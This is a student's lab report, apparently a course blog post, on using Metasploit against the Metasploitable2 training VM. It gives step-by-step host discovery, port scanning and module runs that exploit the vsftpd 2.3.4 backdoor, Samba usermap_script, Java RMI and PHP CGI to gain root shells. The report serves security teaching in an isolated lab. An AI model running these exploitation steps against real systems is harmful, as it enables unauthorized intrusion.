20232326 2025-2026-1 《网络与系统攻防技术》实验六实验报告

1. 实验内容

本实践目标是掌握metasploit的用法。

指导书参考Rapid7官网的指导教程。

https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/

下载官方靶机Metasploitable2,完成下面实验内容。

(1)前期渗透

①主机发现(可用Aux中的arp_sweep,search一下就可以use)

②端口扫描:可以直接用nmap,也可以用Aux中的portscan/tcp等。

③选做:也可以扫系统版本、漏洞等。

(2)Vsftpd源码包后门漏洞(21端口)

漏洞原理:在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“😃”为结尾,服务器就会在6200端口监听,并且能够执行任意代码。

利用步骤:

在kali中执行msfconsole启动metasploit

use exploit/unix/ftp/vsftpd_234_backdoor 选择漏洞

set RHOST XX.xx.xx.xx 设置要攻击的机器IP(靶机IP)

exploit/run 开始攻击

利用成功
执行uname –a、 pwd、 id等命令 验证

(3)SambaMS-RPC Shell命令注入漏洞(端口139)
漏洞原理:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。

利用步骤:

use exploit/multi/samba/usermap_script 选择漏洞

set RHOST ip 设置要攻击的机器IP

exploit 开始攻击

利用成功 执行uname–a验证

(4)Java RMI SERVER命令执行漏洞(1099端口)

漏洞原理:Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。

操作步骤:

首先查看1099端口是否打开。

然后在MSF中:
use exploit/multi/misc/java_rmi_server

show options 查看配置参数

set RHOST (靶机IP)

exploit/run

sessions -i id

shell (进入meterpreter时,使用whoami验证下)

(5)PHP CGI参数执行注入漏洞(80端口)

漏洞原理:CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。

在kali中执行msfconsole,启动metasploit

msf > use exploit/multi/http/php_cgi_arg_injection 选择漏洞

set RHOST ip 设置要攻击的机器IP

exploit/run 开始攻击

2. 实验过程

2.1 环境准备

  • 攻击机:Kali Linux (IP:192.168.32.130)
    image
    image

  • 靶机:Metasploitable2(IP:192.168.32.128)
    Metasploitable 2下载链接中下载安装包,解压后使用vmware打开压缩包中的vmx文件即可,无需完成虚拟机配置。
    image
    虚拟机的默认配置如下:
    image
    打开Metasploitable 2虚拟机,提示如下,选择I Copied It,适用于虚拟机被复制到新设备的情况,系统会重新配置标识等信息。
    Metasploitable 2的登录方式是 。msfadmin:msfadmin
    image
    查看虚拟机ip为192.168.32.128
    image

2.2 前期渗透

2.2.1 主机发现

使用Metasploit内置的arp_sweep模块扫描局域网内存活主机:

msfconsole
search arp_sweep
use 0
set RHOSTS 192.168.32.0/24  # 靶机所在网段
run

结果
image
发现IP为192.168.32.2、192.168.32.128、192.168.32.254的主机存活。

2.2.2 端口扫描

使用Metasploit的portscan/tcp模块扫描靶机开放端口:

search portscan/tcp
use 0
set RHOSTS 192.168.32.128
set PORTS 1-10000  # 扫描常见端口
run

结果
image

开放端口包括21(FTP)、22(SSH)、80(HTTP)、139(Samba)、445(SMB)、1099(Java RMI)等。

2.2.3 系统/漏洞探测

使用nmap补充扫描系统版本和漏洞信息:

nmap -O -sV 192.168.32.128

结果
image
该主机开放了20余个TCP端口、系统为Linux 2.6.x,暴露了多个存在高危漏洞的老旧服务:
21端口的vsftpd2.3.4存在CVE-2011-2523后门漏洞可直接获取权限;
22端口OpenSSH 4.7p1、80端口Apache httpd 2.2.8因版本过旧存在目录遍历、代码执行等风险;
139/445端口的Samba smbd 3.X-4.X有远程代码执行漏洞;
1524端口直接开放root权限的绑定shell可通过nc工具直接登录;
3306端口MySQL 5.0.51a则存在认证绕过等隐患。

2.3 漏洞利用实践

2.3.1 Vsftpd 源码包后门漏洞(21端口)

  1. 启动Metasploit,搜索并选择漏洞模块:
msfconsole
search vsftpd_234_backdoor
use exploit/unix/ftp/vsftpd_234_backdoor

image

  1. 配置目标IP并攻击:
set RHOST 192.168.32.128
exploit

image

  1. 验证权限:
    image

结果:成功获取root权限。

2.3.2 Samba MS-RPC Shell 命令注入漏洞(139端口)

  1. 选择漏洞模块并配置:
search usermap_script
use 0
set RHOST 192.168.32.128
exploit

image

  1. 验证权限:
    image

2.3.3 Java RMI Server 命令执行漏洞(1099端口)

  1. 确认1099端口开放后,选择漏洞模块:
search java_rmi_server
use 0
set RHOST 192.168.32.128
exploit

image

  1. 进入 meterpreter会话并验证:
sessions -i 1  # 进入会话

whoami          # 显示 root

结果
image

成功获取root 权限 meterpreter会话。

2.3.4 PHP CGI 参数执行注入漏洞(80端口)

  1. 选择漏洞模块并攻击:
search php_cgi_arg_injection
use 0
set RHOST 192.168.32.128
exploit

image

  1. 验证权限:
sessions -i 1
uname -a  
id       
whoami

结果
image
成功获取root权限。

3.问题及解决方案

  • 问题1.打开虚拟机后发现没有网络连接
    image

  • 问题1解决方案:
    image
    点击界面左下角的Restore Defaults(还原默认设置)按钮重建虚拟网络
    image
    image
    回到“服务”窗口,重启VMware NATService、DHCP Service;
    image
    打开虚拟机,使用命令sudo /etc/init.d/networking restart重启网络服务,输入ifconfig查看ip,有网啦
    image

  • 问题2:在进行Vsftpd源码包后门漏洞入侵时,前几次失败了,猜测可能是把靶机Metasploitable2在后台放久了已经进入待机状态,故而无法实现入侵。

  • 问题2解决方案:最后一次点开靶机,重复一样的步骤成功了。
    image

4. 学习感悟、思考

之前为了给虚拟机扩容清理了一下D盘中的大文件,没想到不小心把VMware清掉了,重新安装之后出现了虚拟机没网的大问题,一顿操作才修好,真的不能乱清文件啊。
这次实验内容也比较简单,都是在msf中复现命令即可,基本没有遇到技术上的难题。

posted @ 2025-11-23 22:24  20232326朱思敏  阅读(10)  评论(0)    收藏  举报